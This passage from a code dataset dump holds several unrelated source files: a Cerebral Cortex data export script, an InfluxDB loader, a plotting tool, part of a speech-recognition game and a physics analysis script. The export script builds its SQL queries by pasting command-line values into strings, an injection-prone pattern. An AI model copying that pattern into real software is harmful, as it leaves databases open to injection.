datetime.datetime.utcfromtimestamp(0)\\n\\n\\ndef getDatastreamIDs(identifier):\\n conn = psycopg2.connect(\\\"dbname=\\\" + args.keyspace + \\\" user=cerebralcortex\\\")\\n cur = conn.cursor()\\n\\n searchStmt = 'select datastreams.id, datastreams.participant_id, datasources.identifier, datasources.datasourcetype, m_cerebrum_applications.identifier, m_cerebrum_platforms.identifier, m_cerebrum_platforms.platformtype '\\n searchStmt += 'from datastreams inner join datasources on datasources.id=datastreams.datasource_id '\\n searchStmt += 'inner join m_cerebrum_applications on m_cerebrum_applications.id=datasources.m_cerebrum_application_id '\\n searchStmt += 'inner join m_cerebrum_platforms on m_cerebrum_platforms.id=datasources.m_cerebrum_platform_id '\\n searchStmt += 'where datastreams.participant_id=\\\\'' + args.participant + '\\\\''\\n\\n datastreams = []\\n cur.execute(searchStmt)\\n results = cur.fetchall()\\n for i in results:\\n datastreams.append(i)\\n\\n cur.close()\\n conn.close()\\n\\n return datastreams\\n\\n\\ndef daterange(start_date, end_date):\\n for n in range(int((end_date - start_date).days)):\\n yield start_date + datetime.timedelta(n)\\n\\n\\ndef flatten(structure, key=\\\"\\\", path=\\\"\\\", flattened=None):\\n if flattened is None:\\n flattened = {}\\n if type(structure) not in (dict, list):\\n flattened[((path + \\\"_\\\") if path else \\\"\\\") + key] = structure\\n elif isinstance(structure, list):\\n for i, item in enumerate(structure):\\n flatten(item, \\\"%d\\\" % i, \\\"_\\\".join(filter(None, [path, key])), flattened)\\n else:\\n for new_key, value in structure.items():\\n flatten(value, new_key, \\\"_\\\".join(filter(None, [path, key])), flattened)\\n return flattened\\n\\n\\ndef unix_time_millis(dt):\\n return (dt - epoch).total_seconds() * 1000.0\\n\\n\\ndef rowProcessor(r):\\n row = []\\n row.append(int(unix_time_millis(r.datetime)))\\n # row.append(r.datetime)\\n row.append(r.offset)\\n\\n json_parsed = json.loads(r.sample)\\n for j in json_parsed:\\n val = ''\\n if type(j) is dict:\\n val = json.dumps(j).encode('utf8')\\n else:\\n val = j\\n row.append(val)\\n\\n return row\\n\\n\\ndef extractDataStream(datastream):\\n segment_char = '+'\\n\\n dsid = str(datastream[0])\\n participantid = str(datastream[1])\\n datasource_id = str(datastream[2])\\n datasource_type = str(datastream[3])\\n app_id = str(datastream[4])\\n platform_id = str(datastream[5])\\n platform_type = str(datastream[6])\\n\\n cluster = Cluster([args.server])\\n\\n session = cluster.connect(args.keyspace)\\n\\n if not os.path.exists(filepath + '/' + participantid):\\n os.mkdir(filepath + '/' + participantid)\\n\\n filename_base = filepath + '/' + participantid + '/' + participantid + segment_char + dsid + segment_char + app_id + segment_char + datasource_type\\n if datastream[2] is not None:\\n filename_base += segment_char + datasource_id\\n if datastream[6] is not None:\\n filename_base += segment_char + platform_type\\n if datastream[5] is not None:\\n filename_base += segment_char + platform_id\\n\\n with bz2.BZ2File(filename_base + '.csv.bz2', 'w') as csvfile:\\n outputwriter = csv.writer(csvfile, delimiter=',', quotechar=\\\"'\\\")\\n for day in daterange(startdate, enddate):\\n yyyymmdd = day.strftime('%Y%m%d')\\n\\n stmt = 'SELECT datetime, offset, sample FROM rawdata where datastream_id=' + dsid + ' and day=\\\\'' + yyyymmdd + '\\\\''\\n rows = session.execute(stmt, timeout=180.0)\\n flag = False\\n for r in rows:\\n flag = True\\n outputwriter.writerow(rowProcessor(r))\\n\\n if flag:\\n print('COMPLETED: ' + stmt)\\n\\n return True\\n\\n\\nif __name__ == \\\"__main__\\\":\\n num_cores = multiprocessing.cpu_count()\\n datastreams = getDatastreamIDs(args.participant)\\n results = Parallel(n_jobs=num_cores)(delayed(extractDataStream)(i) for i in datastreams)\\n print(\\\"Complete: \\\" + str(len(results)) + \\\" datastreams exported\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.7827585935592651,\n \"alphanum_fraction\": 0.7965517044067383,\n \"avg_line_length\": 47.5,\n \"blob_id\": \"e16ce72ef92f72a68a342b672c7325e751603068\",\n \"content_id\": \"e6fa14b6a3ca73ec3c65782b7f0b7acc2c420169\",\n \"detected_licenses\": [\n \"BSD-2-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 290,\n \"license_type\": \"permissive\",\n \"max_line_length\": 120,\n \"num_lines\": 6,\n \"path\": \"/python/README.md\",\n \"repo_name\": \"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Python Tools\\n\\n1. **temporalplot.py**: Renders export from the participantDataDump tool based on participant UUID and an optional time \\nrange\\n1. **participantDataDump.py**: Responsible for extracting all datastreams from Cerebral Cortex(0.1.x) and saving them \\nas bzip compressed CSV files\"\n },\n {\n \"alpha_fraction\": 0.5162271857261658,\n \"alphanum_fraction\": 0.5309330821037292,\n \"avg_line_length\": 30.30158805847168,\n \"blob_id\": \"a4ff13ac63c4a825a04643648518edff95641988\",\n \"content_id\": \"e4496fc3cce6ef55f1b235df14ffa4351e3e212e\",\n \"detected_licenses\": [\n \"BSD-2-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1972,\n \"license_type\": \"permissive\",\n \"max_line_length\": 97,\n \"num_lines\": 63,\n \"path\": \"/python/influx-insert.py\",\n \"repo_name\": \"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from influxdb import InfluxDBClient\\nimport glob\\nimport os\\nimport bz2\\nfrom pprint import pprint\\nimport multiprocessing\\nfrom joblib import Parallel, delayed\\nimport sys\\n\\ndb = 'rice'\\n\\ndef parseFile(f):\\n client = InfluxDBClient('localhost', 8086, '', '', db)\\n client.create_database(db)\\n data = []\\n basename = os.path.basename(f)[:-8]\\n uuid, ds_id, app, identifier = basename.split('+', 3)\\n print(uuid, app)\\n print(identifier)\\n try:\\n with bz2.open(f, 'rt') as input_file:\\n for l in input_file:\\n ts, offset, values = l.rstrip().split(',', 2)\\n ts = int(ts)*1000000\\n\\n data_values = values.split(',')\\n object = {}\\n object['measurement'] = identifier\\n object['tags'] = {'owner': uuid, 'application': app}\\n object['time'] = ts\\n try:\\n sample = map(float,data_values)\\n object['fields'] = {}\\n for i, s in enumerate(sample):\\n object['fields']['value_'+str(i)] = s\\n except :\\n object['fields'] = {'value': values}\\n\\n data.append(object)\\n if len(data) >= 1000000:\\n print('Yielding:', uuid, len(data), identifier)\\n client.write_points(data)\\n data = []\\n\\n\\n except ValueError as e:\\n print(\\\"Value Error: \\\", e, basename)\\n client.write_points(data)\\n return True\\n\\n\\nif __name__=='__main__':\\n num_cores = multiprocessing.cpu_count()\\n files = glob.glob(db + '/' + sys.argv[1] + '*/*.bz2')\\n\\n\\n sizes = [ (filename, os.stat(filename).st_size) for filename in files ]\\n sizes.sort(key=lambda tup: tup[1])\\n\\n #for f in files:\\n # parseFile(f)\\n results = Parallel(n_jobs=num_cores-4, verbose=11)(delayed(parseFile)(f) for f,size in sizes)\\n print(\\\"Complete: \\\" + str(len(results)) + \\\" datastreams exported\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.5716360211372375,\n \"alphanum_fraction\": 0.5902710556983948,\n \"avg_line_length\": 34.93043518066406,\n \"blob_id\": \"123179e83b54badf375d1bd16c706494d2bff73c\",\n \"content_id\": \"6e37e3bfde1cb2afc3931d550fd6987bae45ecc0\",\n \"detected_licenses\": [\n \"BSD-2-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4132,\n \"license_type\": \"permissive\",\n \"max_line_length\": 120,\n \"num_lines\": 115,\n \"path\": \"/python/temporalplot.py\",\n \"repo_name\": \"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import argparse as argparse\\nimport bz2\\nimport datetime\\nimport glob\\nfrom pprint import pprint\\n\\nimport matplotlib.collections as col\\nimport matplotlib.dates as dates\\nimport matplotlib.pyplot as plt\\nimport numpy as np\\n\\n\\ndef process_data(data):\\n x = np.array(data)\\n delta = np.diff(x)\\n i = np.where(delta > 300 * 1000)\\n return np.vstack((x[i], x[i] + delta[i])).T\\n\\n\\ndef process(participant, directory, filter_string='', start_day=None, end_day=None):\\n offset = 0\\n lines = []\\n gst = 1e100\\n get = 0\\n labels = []\\n for f in glob.glob(directory + '/' + participant + filter_string + '.bz2'):\\n print(f)\\n params = f[:-16].split('+')[3:]\\n labels.append('__'.join(params))\\n offset += 1\\n with bz2.open(f, 'rt') as csvFile:\\n data = []\\n for l in csvFile.readlines():\\n items = l.split(',')\\n ts = int(items[0])\\n if start_day is not None and end_day is not None:\\n if ts < start_day or end_day < ts:\\n continue\\n\\n data.append(ts)\\n\\n if ts < gst:\\n gst = ts\\n if ts > get:\\n get = ts\\n\\n blocks = process_data(data)\\n if len(blocks) > 0:\\n pprint(blocks)\\n for segment in blocks:\\n lines.append([(dates.date2num(datetime.datetime.utcfromtimestamp(segment[0] / 1000.0)), offset),\\n (\\n dates.date2num(datetime.datetime.utcfromtimestamp(segment[1] / 1000.0)), offset)])\\n\\n return lines, offset, labels, gst, get\\n\\n\\ndef render(lines, offset, labels, st, et):\\n lc = col.LineCollection(lines)\\n fig, ax = plt.subplots()\\n ax.add_collection(lc)\\n ax.xaxis.set_major_locator(dates.DayLocator())\\n ax.xaxis.set_major_formatter(dates.DateFormatter('%D'))\\n ax.xaxis.set_minor_locator(dates.HourLocator(np.arange(6, 25, 6)))\\n ax.xaxis.set_minor_formatter(dates.DateFormatter('%H'))\\n\\n fig.subplots_adjust(left=.25, right=.99, top=.99)\\n\\n plt.xlim([dates.date2num(datetime.datetime.utcfromtimestamp(st / 1000.0)),\\n dates.date2num(datetime.datetime.utcfromtimestamp(et / 1000.0))])\\n plt.ylim([0, offset + 1])\\n plt.yticks(range(1, offset + 1), labels)\\n plt.xticks(rotation=90)\\n\\n plt.show()\\n\\n\\nif __name__ == \\\"__main__\\\":\\n parser = argparse.ArgumentParser(description='Export processor for Cerebral Cortex Data Dumps')\\n\\n parser.add_argument('--data_directory', help='Data Directory', required=True)\\n parser.add_argument('--participant', help='Participant UUID', required=True)\\n parser.add_argument('--filter', help='Filter String', default='*', required=False)\\n parser.add_argument('--start_day', help='Day string representing the first day to begin scanning for data',\\n required=False)\\n parser.add_argument('--end_day', help='Day string representing the day to end scanning for data', required=False)\\n\\n args = parser.parse_args()\\n\\n participant = args.participant\\n data_dir = args.data_directory\\n filter = args.filter\\n\\n if args.start_day and args.end_day:\\n print('HERE')\\n start_day = args.start_day\\n end_day = args.end_day\\n\\n start_year = int(start_day[:4])\\n start_month = int(start_day[4:6])\\n start_day = int(start_day[6:])\\n\\n end_year = int(end_day[:4])\\n end_month = int(end_day[4:6])\\n end_day = int(end_day[6:])\\n\\n epoch = datetime.datetime.utcfromtimestamp(0)\\n start_date = int((datetime.datetime(start_year, start_month, start_day) - epoch).total_seconds() * 1e3)\\n end_date = int((datetime.datetime(end_year, end_month, end_day) - epoch).total_seconds() * 1e3)\\n\\n lines, offset, labels, gst, get = process(participant, data_dir, filter_string=filter, start_day=start_date,\\n end_day=end_date)\\n else:\\n lines, offset, labels, gst, get = process(participant, data_dir, filter_string=filter)\\n render(lines, offset, labels, gst, get)\\n\"\n },\n {\n \"alpha_fraction\": 0.6363636255264282,\n \"alphanum_fraction\": 0.7818182110786438,\n \"avg_line_length\": 13,\n \"blob_id\": \"4dff1cf6499360793287e0da826ce1e69035d094\",\n \"content_id\": \"b3891aa012292cd3c04c79fef5f8dea0e83ffddf\",\n \"detected_licenses\": [\n \"BSD-2-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n 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animals))\n gameDisplay.blit(carImg,(130,0))\n pygame.display.update()\n # pygame.mixer.Sound.play(Tiger)\n # pygame.mixer.music.stop()\n # time.sleep(1)\n for j in range(1,4):\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print ('What\\'s his name!')\n audio = r.listen(source)\n try:\n text = r.recognize_google(audio)\n print(text)\n except:\n print('Did not get that try Again')\n text=''\n if text == names[n].split(\"\\\\\")[1]:\n print('good job\\n=========\\n\\n') \n #pygame.mixer.Sound.play(right)\n # pygame.mixer.music.stop()\n break\n else:\n if guess_counter < 3:\n print('wrong try again')\n # pygame.mixer.Sound.play(wrong)\n # pygame.mixer.music.stop()\n # time.sleep(1)\n guess_counter += 1\n else:\n print(\"\\nSorry no more chances\\n\\n\")\n time.sleep(1)\n\npygame.quit()\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.4765578508377075,\n \"alphanum_fraction\": 0.4884273111820221,\n \"avg_line_length\": 30.185184478759766,\n \"blob_id\": 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gameDisplay.blit(carImg,(130,0))\\n pygame.display.update()\\n # pygame.mixer.Sound.play(Tiger)\\n # pygame.mixer.music.stop()\\n # time.sleep(1)\\n for j in range(1,4):\\n r = sr.Recognizer()\\n with sr.Microphone() as source:\\n print ('What\\\\'s his name!')\\n audio = r.listen(source)\\n try:\\n text = r.recognize_google(audio)\\n print(text)\\n except:\\n print('Did not get that try Again')\\n text=''\\n if text == names[n].split(\\\"\\\\\\\\\\\")[1]:\\n print('good job\\\\n=========\\\\n\\\\n') \\n #pygame.mixer.Sound.play(right)\\n # pygame.mixer.music.stop()\\n break\\n else:\\n if guess_counter < 3:\\n print('wrong try again')\\n # pygame.mixer.Sound.play(wrong)\\n # pygame.mixer.music.stop()\\n # time.sleep(1)\\n guess_counter += 1\\n else:\\n print(\\\"\\\\nSorry no more chances\\\\n\\\\n\\\")\\n time.sleep(1)\\n\\npygame.quit()\\n\\n\"\n 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\"SPgraphs_8py.html#a04e4e5bc22270694ea4fbca149c08f09\", null ]\n];"},{"alpha_fraction":0.5644538998603821,"alphanum_fraction":0.6002187132835388,"avg_line_length":29.904573440551758,"blob_id":"50d75a61d1dceebca8632a0bce90235c1ba2a20a","content_id":"c7d2a53286fc352b3686cd0d5310c638ad86d975","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":15546,"license_type":"no_license","max_line_length":168,"num_lines":503,"path":"/SPgraphs.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"\"\"\"\nTODO:\n Need to actually calculate c, b coefficients and plot them. Initially this can just involve multiplying or not multiplying by the polarisation in the final result\n\"\"\"\nimport matplotlib as mpl\nmpl.rcParams['figure.figsize']=[13,11]\nfrom pylab import *\nimport SPDataSet as sd\nimport SPfuncs as spf\nimport pdb\nfrom MT import vprint\nfrom functools import partial\nfigdir='figs2'\n\n#2013 Data\ntimestampL=[\n'4803.31',\n'4812.51',\n'4818.33',\t\n'4827.26',\n'4833.40',\n'4834.39',\n'4838.50',\n'4840.65',\n'4850.54',\n'4857.47',\n'4859.39',\n'4864.65',\n'4865.75',\n'4867.48',\n'4868.41',\n'4869.74',\n'4876.97',\n'4881.71',\n'4885.53',\n'4888.50',\n'4889.50',\n'4894.57',\n'4898.68',\n'4901.78',\n'4902.85',\n'4903.58',\n'4906.58',\n'4911.09',\n'4914.07',\n'4929.88',\n'4938.05',\n'4945.09',\n'4953.70',\n'4959.91',\n'4966.95',\n]\n#timestampL=timestampL[:-6]\n\ntimestampL=[\n #'5209.26',\n #'5240.33',\n '5249.72',\n '5273.74',\n '5282.23',\n #'5292.71',\n '5294.31',\n #'5296.33',\n '5310.41',\n #'5318.41',\n '5348.82',\n '5369.87',\n '5386.02',\n '5390.74',\n '5410.04',\n '5410.87',\n '5411.92',\n '5415.95',\n '5420.00',\n #'5421.02',\n #'5422.00',\n '5422.80',\n '5424.94',\n]\ndsL=[sd.SPDataSet(ts) for ts in timestampL]\n\ndef edit_infos(dsLin=None):\n \"\"\"Walk through the datasets and display their metadata for editing/viewing\n \"\"\"\n if dsLin is None:\n dsLin =dsL\n\n for ds in dsLin:\n ds.edit_set_info()\n raw_input(\"Enter for next\")\n\nimport copy\ndef combinedD(d1, d2):\n out=copy.copy(d1); out.update(d2)\n return out\nNdiv=10\ndef analyseBy(datSetL=None, sidAmpDict={}, dsModifyF=None, generalF=None, plot=False):\n sidAmpL=[]\n if datSetL is None:\n datSetL=dsL\n for ds in datSetL:\n try:\n if dsModifyF is not None:\n ds, D=dsModifyF(ds, sidAmpDict)\n else:\n D=sidAmpDict\n #D= sidAmpDict(ds) if callable(sidAmpDict) else sidAmpDict\n\n if generalF is not None:\n amp=generalF(ds, D)\n else:\n amp=ds.sidAmp(**D)\n if amp is not None and not hasattr(amp, 't'):\n sidAmpL.extend(amp)\n else:\n sidAmpL.append(amp)\n\n except (ZeroDivisionError, ValueError):\n sys.exc_clear()\n #pass #Failed probably because there was no data, so we won't add it to the list\n #figure('Pol dn (split)')\n if not hasattr(plot, 'draw') and plot==True:\n figure()\n plot=gca()\n return spf.combine_angle_amps(sidAmpL, plot), sidAmpL\n\ndef polUp(plot=False, **kwargs):\n sidAmpL=[]\n #for ts in timestampL:\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n sidAmpL.append(ds.sidAmp(genSeqFiltF=sd.genSeqFiltPol(1),**kwargs))\n figure('Pol up (by set)')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef polDn(plot=False, **kwargs):\n sidAmpL=[]\n for ds in dsL:#timestampL:\n #ds=sd.SPDataSet(ts)\n sidAmpL.append(ds.sidAmp(genSeqFiltF=sd.genSeqFiltPol(-1),**kwargs))\n figure('Pol dn (by set)')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef polUpSplit(plot=False, **kwargs):\n sidAmpL=[]\n #for ts in timestampL:\n for ds in dsL:\n try:\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\n ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv), genSeqFiltF=sd.genSeqFiltPol(1), **kwargs)\n )\n sidAmpFull=ds.sidAmp()\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\n\n except (ZeroDivisionError, ValueError):\n sys.exc_clear()\n #pass #Failed probably because there was no data, so we won't add it to the list\n #figure('Pol up (split)')\n return spf.combine_angle_amps(sidAmpL, gca())\n\ndef polDnSplit(plot=False, **kwargs):\n sidAmpL=[]\n #for ts in timestampL:\n for ds in dsL:\n try:\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\n ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv), genSeqFiltF=sd.genSeqFiltPol(-1), **kwargs)\n )\n sidAmpFull=ds.sidAmp()\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\n\n except (ZeroDivisionError, ValueError):\n sys.exc_clear()\n #pass #Failed probably because there was no data, so we won't add it to the list\n #figure('Pol dn (split)')\n return spf.combine_angle_amps(sidAmpL, gca())\n\ndef byDay(plot=False, **kwargs):\n #By day\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n print(\"timestamp: {}\".format(ds.timestamp))\n sdL=ds.sidAmp(sd.seqFiltFuncTime(), **kwargs)\n if sdL is not None:\n if hasattr(sdL,'t'):\n sidAmpL.append(sdL)\n else:\n sidAmpL.extend(sdL)\n #if len(sidAmpL)==15:\n # pdb.set_trace()\n ds._cache.clear()\n #wtMn, calcedUnc, apparentUnc, wtErr= spf.combine_angle_amps(sidAmpL)\n #(ths, ys, covs)= zip(*[ MT.rotate_quadrature_sample(sAmp.labTheta, sAmp.sig, sAmp.err) for sAmp in ampL])\n\n #ys=array(ys)\n #ts=array(ts)\n #errs=array([sqrt(cov.diagonal()) for cov in covs]) #cheat and throw away covariance\n\n #figure()\n #for t, y, e in zip(ts.T, ys.T, errs.T):\n # errorbar( t, y, e, fmt='.') #Probaby not quite right\n #figure('By day')\n ax=gca()\n #mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(sidAmpl)\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef bySetEarly(plot=False, **kwargs):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n win=ds.set_info['windows']['sig']\n \n win['duration']=win['duration']/2\n sidAmpL.append(ds.sidAmp(sigWindow=spf.Window(**win)))\n #figure('Early')\n ax=gca()\n\n return spf.combine_angle_amps(sidAmpL,plot)\ndef bySetLate(plot=False, **kwargs):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n win=ds.set_info['windows']['sig']\n #win=win._replace(offset=win.offset+win.duration/2)\n win['offset']=win['offset']+win['duration']/2\n #win=win._replace(duration=win.duration/2)\n win['duration']=win['duration']/2\n sidAmpL.append(ds.sidAmp(sigWindow=spf.Window(**win)))\n #figure('Late')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef bySetSplit(plot=False, ):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv)))\n sidAmpFull=ds.sidAmp()\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\n #figure('By set, split-up')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef bgSub(plot=False, ):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n sidAmpL.append(ds.sidAmp(subtractWindow='bg'))\n #figure('BG subtracted')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef bySet(plot=False, **kwargs):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n print(\"timestamp: {}\".format(ds.timestamp))\n sAmp=ds.sidAmp(**kwargs)\n if hasattr(sAmp, 't'):\n sidAmpL.append()\n else: \n sidAmpL.extend(sAmp)\n ds._cache.clear()\n #figure('By set')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot), sidAmpL\n\ndef dividedUp(plot=False, ):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n sidAmpL.extend(ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv)))\n #figure('split up')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef NS(plot=False, **kwargs):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n sidAmpL.append(ds.sidAmp(sd.seqFiltFuncAxis(0), label='NS Only', **kwargs))\n #figure('NS (by set)')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef EW(plot=False, **kwargs):\n sidAmpL=[]\n for ds in dsL:\n #ds=sd.SPDataSet(ts)\n sidAmpL.append(ds.sidAmp(sd.seqFiltFuncAxis(pi/2), label='EW only', **kwargs))\n #figure('EW (by set)')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef EWSplit(plot=False, **kwargs):\n sidAmpL=[]\n def filt(seqAmp):\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFuncAxis(pi/2)(seqAmp))\n for ds in dsL:\n try:\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\n ds.sidAmp(filtF=filt, **kwargs)\n )\n sidAmpFull=ds.sidAmp()\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\n except (ZeroDivisionError, ValueError):\n sys.exc_clear()\n #pass #Failed probably because there was no data, so we won't add it to the list\n #figure('EW (split)')\n return spf.combine_angle_amps(sidAmpL, gca())\n\ndef NSSplit(plot=False, **kwargs):\n sidAmpL=[]\n def filt(seqAmp):\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFuncAxis(0)(seqAmp))\n for ds in dsL:\n try:\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\n ds.sidAmp(filtF=filt, **kwargs)\n )\n sidAmpFull=ds.sidAmp()\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\n except (ZeroDivisionError, ValueError):\n sys.exc_clear()\n #pass #Failed probably because there was no data, so we won't add it to the list\n #figure('NS (split)')\n return spf.combine_angle_amps(sidAmpL, gca())\n\ndef NSEW(plot=False,):\n sidAmpL=[]\n for ds in dsL:\n #vprint(ts)\n #ds=sd.SPDataSet(ts)\n sidAmpL.append(ds.sidAmp(sd.seqFiltFunc2Axes(0)))\n #figure('NSEW (by set)')\n ax=gca()\n return spf.combine_angle_amps(sidAmpL,plot)\n\ndef NSEWSplit(plot=False, **kwargs):\n sidAmpL=[]\n def filt(seqAmp):\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFunc2Axes(0)(seqAmp))\n for ds in dsL:\n try:\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\n ds.sidAmp(filtF=filt, **kwargs)\n )\n sidAmpFull=ds.sidAmp()\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\n except (ZeroDivisionError, ValueError):\n sys.exc_clear()\n #pass #Failed probably because there was no data, so we won't add it to the list\n #figure('NSEW (split)')\n return spf.combine_angle_amps(sidAmpL, gca())\n\ndef Rot45Split(plot=False, **kwargs):\n sidAmpL=[]\n def filt(seqAmp):\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFunc2Axes(pi/4)(seqAmp))\n for ds in dsL:\n try:\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\n ds.sidAmp(filtF=filt, **kwargs)\n )\n sidAmpFull=ds.sidAmp()\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\n except (ValueError, ZeroDivisionError):\n sys.exc_clear()\n #pass #Failed probably because there was no data, so we won't add it to the list\n #figure('Rot45 (split)')\n return spf.combine_angle_amps(sidAmpL, gca())\n\ndef Rot45(plot=False, ):\n sidAmpL=[]\n for ds in dsL:#timestampL:\n sidAmpL.append(ds.sidAmp(sd.seqFiltFunc2Axes(pi/4)))\n #figure('rot45 (by set)')\n #ax=gca()\n return spf.combine_angle_amps(sidAmpL, plot)\n\nsystL=[\n ('set', bySet),\n ('setVertSub', partial(bySet, coFitL='med:Vert Pos Det 2')),\n ('day', byDay),\n ('dayVertSub', partial(byDay, coFitL='med:Vert Pos Det 2')),\n ('sets_S', bySetSplit),\n ('alldivided', dividedUp),\n ('bgSub', bgSub),\n ]\nportionL=[\n ('axes0', NSEW),\n ('axes45', Rot45),\n ('EW', EW),\n ('NS', NS),\n ('polUp', polUp),\n ('polDn', polDn),\n ('setEarly', bySetEarly),\n ('setLate', bySetLate),\n ]\nportionSplitL=[\n ('axes0_S', NSEWSplit),\n ('axes45_S', Rot45Split),\n ('EW_S', EWSplit),\n ('NS_S', NSSplit),\n ('polUp_S', polUpSplit),\n ('polDn_S', polDnSplit),\n #('setEarly', bySetEarlySplit),\n #('setLate', bySetLateSplit),\n ]\n\ndef directCompare():\n L=portionL\n for k in range(len(L)/2):\n name1, f1=L[2*k]\n name2, f2=L[2*k+1]\n fig=figure(name1 + ' vs ' + name2)\n ax1=subplot(211)\n ax2=subplot(212)\n f1(plot=[ax1,ax2])\n f2(plot=[ax1,ax2])\n fig.savefig(figdir+'/{} vs {}.pdf'.format(name1,name2))\n\ndef systComparison(L, axL=None):\n labels, dat=zip(*[(label, f()) for label, f in L])\n mnL, trustUncL, apparentUncL, wErL = zip(*dat)\n mnL=array(mnL);\n trustUncL=array(trustUncL);\n apparentUncL=array(apparentUncL)\n if axL==None:\n figure()\n ax1=gca()\n figure()\n ax2=gca()\n axL=[ax1, ax2]\n else:\n ax1,ax2=axL\n\n xpos=arange(len(mnL))\n k=0\n for mn, appUnc, trustUnc, ax in zip(mnL.T, apparentUncL.T, trustUncL.T, axL):\n ax.errorbar(xpos, mn, appUnc, fmt='o', elinewidth=2, capthick=2) \n ax.errorbar(xpos, mn, trustUnc, fmt=None, elinewidth=2, capthick=2) \n ax.set_xticks(xpos)\n ax.set_xticklabels(labels)\n ax.set_xlim([-0.5, len(mnL)+0.5])\n ax.set_ylabel('fT')\n ax1.set_title('x-quad')\n ax2.set_title('y-quad')\n ax1.grid(True)\n ax2.grid(True)\n return labels, dat\n\ndef plotAllSyst():\n k=1\n for L in [systL, portionL, portionSplitL]: \n fig=figure()\n ax1=subplot(211)\n ax2=subplot(212)\n systComparison(L,[ax1,ax2])\n fig.savefig(figdir+'/systematic {}.pdf'.format(k))\n k+=1\n\ndef plotAllSeq():\n for ds in dsL:\n ds.viewSeq()\n tight_layout()\n savefig(figdir+\"/{0}:corr.png\".format(ds.timestamp))\n\n ds.viewSeq(sigWindow='bg')\n tight_layout()\n savefig(figdir+\"/{0}:corr_bg.png\".format(ds.timestamp))\n\n ds.viewCorrelationFilt()\n tight_layout()\n savefig(figdir+\"/{0}:corr_filt.png\".format(ds.timestamp))\n ds.clearRaw()\n\ndef test():\n ds=sd.SPDataSet('5369.87')\n 